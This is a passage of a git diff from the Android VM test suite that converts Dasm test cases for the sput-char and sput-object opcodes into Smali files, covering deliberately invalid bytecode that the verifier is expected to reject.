+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput-char v0, Ldot/junit/opcodes/sput_char/d/T_sput_char_23;->st_b:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_24.d
deleted file mode 100644
index 8862e51..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_24.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_char_24.java
-.class public dot.junit.opcodes.sput_char.d.T_sput_char_24
-.super java/lang/Object
-
-.field public static st_z Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       sput-char v0, dot.junit.opcodes.sput_char.d.T_sput_char_24.st_z Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_24.smali
new file mode 100644
index 0000000..a67e3fe
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_24.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_24.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_24;
+.super  Ljava/lang/Object;
+
+.field public static st_z:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput-char v0, Ldot/junit/opcodes/sput_char/d/T_sput_char_24;->st_z:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_3.d
deleted file mode 100644
index ff1725f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_3.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_char_3.java
-.class public dot.junit.opcodes.sput_char.d.T_sput_char_3
-.super java/lang/Object
-
-.field public static st_i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 1
-       sput-char v0, dot.junit.opcodes.sput_char.d.T_sput_char_3.st_i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_3.smali
new file mode 100644
index 0000000..598bc36
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_3.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_3.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_3;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 1
+       sput-char v0, Ldot/junit/opcodes/sput_char/d/T_sput_char_3;->st_i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_4.d
deleted file mode 100644
index 95cf09b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_char_4.java
-.class public dot.junit.opcodes.sput_char.d.T_sput_char_4
-.super java/lang/Object
-
-.field public static st_i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sput-char v3, dot.junit.opcodes.sput_char.d.T_sput_char_4.st_i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_4.smali
new file mode 100644
index 0000000..352be0a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_4.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_4;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sput-char v3, Ldot/junit/opcodes/sput_char/d/T_sput_char_4;->st_i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_7.d
deleted file mode 100644
index 8c44574..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_7.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_char_7.java
-.class public dot.junit.opcodes.sput_char.d.T_sput_char_7
-.super java/lang/Object
-
-.field public st_i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       sput-char v1, dot.junit.opcodes.sput_char.d.T_sput_char_7.st_i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_7.smali
new file mode 100644
index 0000000..66df07c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_7.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_7.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_7;
+.super  Ljava/lang/Object;
+
+.field public st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput-char v1, Ldot/junit/opcodes/sput_char/d/T_sput_char_7;->st_i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_8.d
deleted file mode 100644
index ac15f64..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_8.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_char_8.java
-.class public dot.junit.opcodes.sput_char.d.T_sput_char_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       sput-char v1, dot.junit.opcodes.sput_char.TestStubs.TestStubField C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_8.smali
new file mode 100644
index 0000000..3cc3371
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_8.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_8.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput-char v1, Ldot/junit/opcodes/sput_char/TestStubs;->TestStubField:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_9.d
deleted file mode 100644
index 74279c4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_char_9.java
-.class public dot.junit.opcodes.sput_char.d.T_sput_char_9
-.super java/lang/Object
-
-.field public st_i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       sput-char v1, dot.junit.opcodes.sput_char.d.T_sput_char_9noclass.st_i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_9.smali
new file mode 100644
index 0000000..a465488
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_char/d/T_sput_char_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_char_9.java"
+.class  public Ldot/junit/opcodes/sput_char/d/T_sput_char_9;
+.super  Ljava/lang/Object;
+
+.field public st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput-char v1, Ldot/junit/opcodes/sput_char/d/T_sput_char_9noclass;->st_i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_1.d
deleted file mode 100644
index acb4903..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_1.d
+++ /dev/null
@@ -1,45 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_object_1.java
-.class public dot.junit.opcodes.sput_object.d.T_sput_object_1
-.super java/lang/Object
-
-.field public static st_i1 Ljava/lang/Object;
-.field protected static st_p1 Ljava/lang/Object;
-.field private static st_pvt1 Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static getPvtField()Ljava/lang/Object;
-.limit regs 2
-
-       sget-object v0, dot.junit.opcodes.sput_object.d.T_sput_object_1.st_pvt1 Ljava/lang/Object;
-       return-object v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sput-object v2, dot.junit.opcodes.sput_object.d.T_sput_object_1.st_i1 Ljava/lang/Object;
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_1.smali
new file mode 100644
index 0000000..bed75eb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_1.smali
@@ -0,0 +1,53 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_object/d/T_sput_object_1;
+.super Ljava/lang/Object;
+.source "T_sput_object_1.java"
+
+
+# static fields
+.field public static st_i1:Ljava/lang/Object;
+
+.field protected static st_p1:Ljava/lang/Object;
+
+.field private static st_pvt1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method public static getPvtField()Ljava/lang/Object;
+    .registers 2
+
+    sget-object v0, Ldot/junit/opcodes/sput_object/d/T_sput_object_1;->st_pvt1:Ljava/lang/Object;
+
+    return-object v0
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    sput-object p0, Ldot/junit/opcodes/sput_object/d/T_sput_object_1;->st_i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_10.d
deleted file mode 100644
index 7f12b99..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_10.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_object_10.java
-.class public dot.junit.opcodes.sput_object.d.T_sput_object_10
-.super java/lang/Object
-
-.field public st_i1 Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sput-object v2, dot.junit.opcodes.sput_object.d.T_sput_object_10.st_i1N Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_10.smali
new file mode 100644
index 0000000..5f88e3a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_10.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_object/d/T_sput_object_10;
+.super Ljava/lang/Object;
+.source "T_sput_object_10.java"
+
+
+# instance fields
+.field public st_i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    sput-object p0, Ldot/junit/opcodes/sput_object/d/T_sput_object_10;->st_i1N:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_11.d
deleted file mode 100644
index a09c4af..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_11.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_object_11.java
-.class public dot.junit.opcodes.sput_object.d.T_sput_object_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sput-object v2, dot.junit.opcodes.sput_object.TestStubs.TestStubFieldFinal Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_11.smali
new file mode 100644
index 0000000..0efae65
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_11.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_object_11.java"
+.class  public Ldot/junit/opcodes/sput_object/d/T_sput_object_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sput-object v2, Ldot/junit/opcodes/sput_object/TestStubs;->TestStubFieldFinal:Ljava/lang/Object;
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_12.d
deleted file mode 100644
index 562d8ed..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_12.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_object_12.java
-.class public dot.junit.opcodes.sput_object.d.T_sput_object_12
-.super java/lang/Object
-
-.field public static final st_i1 Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sput-object v2, dot.junit.opcodes.sput_object.d.T_sput_object_12.st_i1 Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_12.smali
new file mode 100644
index 0000000..6073d86
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_12.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_object/d/T_sput_object_12;
+.super Ljava/lang/Object;
+.source "T_sput_object_12.java"
+
+
+# static fields
+.field public static final st_i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    sput-object p0, Ldot/junit/opcodes/sput_object/d/T_sput_object_12;->st_i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_13.d
deleted file mode 100644
index d2d59da..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_13.d
+++ /dev/null
@@ -1,53 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source StubInitError.java
-.class public dot.junit.opcodes.sput_object.d.StubInitError
-.super java/lang/Object
-
-.field public static t I
-.field public static value Ljava/lang/Object;
-
-.method static <clinit>()V
-.limit regs 2
-
-       const/4 v0, 0
-       const/4 v1, 5
-       div-int/2addr v1, v0
-
-       sput v1, dot.junit.opcodes.sput_object.d.StubInitError.t I
-       return-void
-.end method
-
-
-.source T_sput_object_13.java
-.class public dot.junit.opcodes.sput_object.d.T_sput_object_13
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sput-object v2, dot.junit.opcodes.sput_object.d.StubInitError.value Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_13.java b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_13.java
index 9e16873..e66e7b1 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_13.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_13.java
@@ -17,6 +17,7 @@
 package dot.junit.opcodes.sput_object.d;
 
 class StubInitError {
+    @SuppressWarnings("ConstantOverflow")
     static short t = (short)(5 / 0);
     static Object value;
 }
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_13.smalis/StubInitError.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_13.smalis/StubInitError.smali
new file mode 100644
index 0000000..b86ede4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_object/d/T_sput_object_13.smalis/StubInitError.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
